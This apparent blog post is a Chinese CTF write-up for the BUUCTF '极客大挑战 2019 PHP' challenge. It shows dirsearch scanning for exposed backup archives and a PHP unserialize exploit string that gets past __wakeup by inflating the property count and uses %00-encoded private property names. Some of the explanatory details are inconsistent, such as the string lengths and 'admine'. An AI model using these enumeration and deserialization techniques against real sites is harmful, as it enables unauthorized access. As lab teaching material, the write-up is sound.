当前位置: 首页 > ops >正文

buuctf_php(极客大挑战 2019)

题目:极客大挑战 2019 PHP

在这里插入图片描述
打开源码,没看到什么值得注意的东西。网页上提示,备份网站的习惯。
开发人员常将备份文件存放在 Web 目录下,可尝试在 URL 后添加常见备份文件名组合。例如:
基础格式:

  • http://example.com/备份文件名.后缀

常见组合:

  • 文件名:web、website、backup、www、wwwroot、temp
  • 后缀:.zip、.tar.gz、.sql、.bak、.swp(Vim 缓存)
  • 示例:http://example.com/www.tar.gz 或 http://example.com/index.php.bak
    我们可以使用自动化扫描工具批量检测备份文件,这里我使用的事dirsearch,kali里有,下载方式如下:
sudo apt update  # 先更新包列表,也可以不做
sudo apt install dirsearch  # 安装dirsearch

使用方式如下:

dirsearch -u http://example.com -e zip,tar.gz,bak -t 50

参数说明:-e指定扩展名,-t设置线程数。扫描结果中状态码200或403(需进一步验证)可能对应备份文件。
这里我使用的是最简洁的命令:

dirsearch -u http://0b8f3b3e-4574-46a2-8940-a58da3d280e9.node5.buuoj.cn:81/

-u后面是靶场的url地址
这里等待后,出现结果:
在这里插入图片描述
锁定www.zip,直接在原url后面/www.zip
在这里插入图片描述
就可以下载得到在这里插入图片描述
里面是
在这里插入图片描述
逐个看看,有没有特别的
flag.php里面直接写了:
在这里插入图片描述
这个不是的噢,看看别的,从经典的index.php看起

//index.php中重要php代码部分<?phpinclude 'class.php';$select = $_GET['select'];$res=unserialize(@$select);?>

这段 PHP 代码的主要功能是获取 URL 参数并进行反序列化操作,具体分析如下:

  1. include 'class.php';
  • 这行代码的作用是包含并执行当前目录下的class.php文件。通常这个文件可能定义了一些 PHP类(因为后续有反序列化操作,反序列化需要对应的类定义才能正确还原对象)。
  1. $select = $_GET['select'];
  • 从 URL 的 GET
    参数中获取名为select的值,赋值给变量$select。例如,当访问xxx.php?select=abc时,$select就会被赋值为"abc"
  1. $res = unserialize(@$select);
  • unserialize()是 PHP 的反序列化函数,作用是将 “序列化字符串” 还原为 PHP 中的值(可能是数组、对象等)。
  • @是 PHP 的错误抑制符,用来忽略unserialize()可能产生的错误(比如参数不是有效的序列化字符串时)。

这行代码的意思是:尝试将$select(即从 URL 获取的参数值)反序列化为 PHP 的值,并保存到$res中。
上面说到了执行当前目录下class.php文件,我们看看

//class.php
<?php
include 'flag.php';error_reporting(0);class Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;}function __wakeup(){$this->username = 'guest';}function __destruct(){if ($this->password != 100) {echo "</br>NO!!!hacker!!!</br>";echo "You name is: ";echo $this->username;echo "</br>";echo "You password is: ";echo $this->password;echo "</br>";die();}if ($this->username === 'admin') {global $flag;echo $flag;}else{echo "</br>hello my friend~~</br>sorry i can't give you the flag!";die();}}
}
?>

1. 基础结构

include 'flag.php';  // 包含flag.php文件
error_reporting(0);  // 关闭错误报告,不显示任何错误信息(隐藏调试细节)

2. Name类的定义

类中包含私有属性、构造函数和两个魔术方法,核心逻辑围绕对象的创建、反序列化和销毁展开。

(1)私有属性
private $username = 'nonono';  // 私有属性:用户名,初始值'nonono'
private $password = 'yesyes';  // 私有属性:密码,初始值'yesyes'

私有属性(private)的访问范围仅限类内部,序列化时会包含类名和属性名的特殊标识。

(2)构造函数__construct
public function __construct($username,$password){$this->username = $username;$this->password = $password;
}

当创建Name类的对象时,会自动调用该方法,用传入的参数初始化$username$password

(3)魔术方法__wakeup
function __wakeup(){$this->username = 'guest';
}

__wakeup是PHP的反序列化魔术方法:当使用unserialize()函数还原对象时,会自动调用该方法。这里的逻辑是强制将$username改为'guest'(可能是一个限制条件)。

(4)魔术方法__destruct
function __destruct(){// 第一个判断:如果password不等于100,输出错误信息并终止if ($this->password != 100) {echo "</br>NO!!!hacker!!!</br>";echo "You name is: ";echo $this->username;echo "</br>";echo "You password is: ";echo $this->password;echo "</br>";die();}// 第二个判断:如果password等于100,再检查username是否为'admin'if ($this->username === 'admin') {global $flag;  // 引入全局变量$flag(来自flag.php)echo $flag;    // 输出flag(目标结果)}else{echo "</br>hello my friend~~</br>sorry i can't give you the flag!";die();}
}

__destruct是对象销毁时自动调用的魔术方法(如脚本执行结束、对象被 unset 等)。它是这段代码的核心逻辑

  • 只有当$password等于100$username严格等于'admin'时,才会输出$flag
  • 否则会输出拒绝信息。

整体逻辑与可能的场景

这段代码的设计意图通常是:要求通过反序列化构造一个Name类的对象,满足以下条件才能获取flag

  1. 对象的$password必须为100
  2. 对象的$username必须为'admin'
  3. 需绕过__wakeup方法(因为反序列化时它会强制把$username改成'guest')。

在安全测试中,这类代码常用来考察“反序列化漏洞”的利用——通过构造特殊的序列化字符串,绕过__wakeup的限制,最终让__destruct满足输出flag的条件。
那我们首先得完整前面两条,即password值为100和username==admin,写如下脚本:

<?php
class Name{private $username = 'admin';private $password = '100';}$select = new Name();$res=serialize(@$select);   echo $res
?>

run得到:
在这里插入图片描述
值:

O:4:"Name":2:{s:14:"Nameusername";s:6:"admin";s:14:"Namepassword";s:3:"100";}

这段字符串是PHP序列化(serialization)后的数据,用于将对象或数据结构转换为可存储或传输的字符串格式。

  1. 整体结构:这是一个PHP对象的序列化结果

    • O:4:"Name":2:{...}:表示一个对象(O),类名是"Name"(长度为4),包含2个属性
  2. 内部属性解析

    • s:14:"Nameusername";s:6:"admine";

      • s:14:"Nameusername":第一个属性的键名,是字符串(s)类型,长度14,内容为"Nameusername"
      • s:6:"admine":第一个属性的值,是字符串类型,长度6,内容为"admine"
    • s:14:"Namepassword";s:3:"100";

      • s:14:"Namepassword":第二个属性的键名,字符串类型,长度14,内容为"Namepassword"
      • s:3:"100":第二个属性的值,字符串类型,长度3,内容为"100"

这段序列化数据对应一个PHP对象,大致等效于上面的脚本代码。当PHP需要存储对象(如存入文件、数据库)或网络传输时,会将对象序列化为这种格式,使用时再通过unserialize()函数还原为对象。

完成了前面两点,怎么完成第三点?(3. 需绕过__wakeup方法(因为反序列化时它会强制把$username改成'guest'))
这里学习得知:__wakeup() 在反序列化时,当前属性个数大于实际属性个数时,则就会跳过__wakeup()O:4:"Name":2:中"2"表示属性个数,所以我们把 2 改为 3 或者 比2大的数,得到

O:4:"Name":3:{s:14:"Nameusername";s:6:"admin";s:14:"Namepassword";s:3:"100";}

但到这还是不可以,中间要加空格,解释如下:

  • 转变后字符串中的属性是“私有属性”
    转变后的 s:14:"%00Name%00username",解码后实际是 s:14:"\0Name\0username"%00是URL编码后的「空字符」,即\0)。
    这是PHP序列化 私有属性(private $username 的「固定格式」:
    私有属性会在「类名前后各加一个空字符」,格式为 \0类名\0属性名(这里类名是“Name”,属性名是“username”,所以组合成\0Name\0username)。
    这个\0Name\0username的总长度是 1(\0)+4(Name)+1(\0)+8(username)=14,正好对应s:14,符合序列化的“长度+值”规则。

    私有属性中的空字符(\0)是不可见字符,在URL传输、表单提交等场景下,必须通过URL编码转为可见的%00(否则\0会被当作无效字符截断或破坏数据),所以最终呈现为%00Name%00username

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

传入select:
在这里插入图片描述

http://www.xdnf.cn/news/19526.html

相关文章:

  • 从程序员到「认识罕见病 DAO」发起人,他用 Web3 承载爱与责任
  • Linux 文本处理四剑客:cut, sort, uniq, tr
  • lua脚本在redis中如何单步调试?
  • 一文吃透 deviceQuery:从安装到输出解读,彻底验证服务器 GPU 环境
  • AlDente Pro for Mac电脑 充电限制保护工具
  • Go 面试题:Goroutine 和 GMP 模型解析
  • 最快的 C 语言 JSON 库 - yyjson
  • 阿里云日志服务之WebTracking 小程序端 JavaScript SDK (阿里SDK埋点和原生uni.request请求冲突问题)
  • 2025全球绿色发展与健康生活方式高峰论坛 推动HLCC国际认证体系全球化实施
  • VGG改进(7):基于Spatial Attention的性能优化
  • 跨平台游戏引擎 Axmol-2.8.0 发布
  • Prettier代码格式化工具测评:支持JS/TS/Vue多语言,兼容ESLint实现团队代码格式统一
  • TKDE-2022《Low-Rank Linear Embedding for Robust Clustering》
  • Element-Plus 入门指南
  • 【3D通用视觉框架】基于Qt5开发的3D视觉框架软件,纯底层,全套源码,开箱即用
  • R语言根据经纬度获得对应样本的省份
  • PCB设计规范
  • redis-----java客户端
  • K8s集群+Rancher Server:部署DolphinScheduler 3.2.2集群
  • 【vue2】vue2.7x的项目中集成tailwind.css真的不要太香
  • GPT-5在医疗领域应用的研究效能初探(上)
  • Elasticsearch赋能3D打印机任务统计分析
  • 【图像处理基石】图像预处理方面有哪些经典的算法?
  • 聚铭网络实力蝉联数说安全“2025年中国网络安全市场100强”
  • 【C++游记】红黑树
  • Lombok 实用注解深度解析!
  • 【项目】多模态RAG—本地部署MinerU实现多类文档解析
  • 懒加载详细讲解
  • 使用修改过的arj源码编译和测试
  • C++ 学习与 CLion 使用:(五)数据类型,包括整型、实型、字符型、转义字符、字符串、布尔型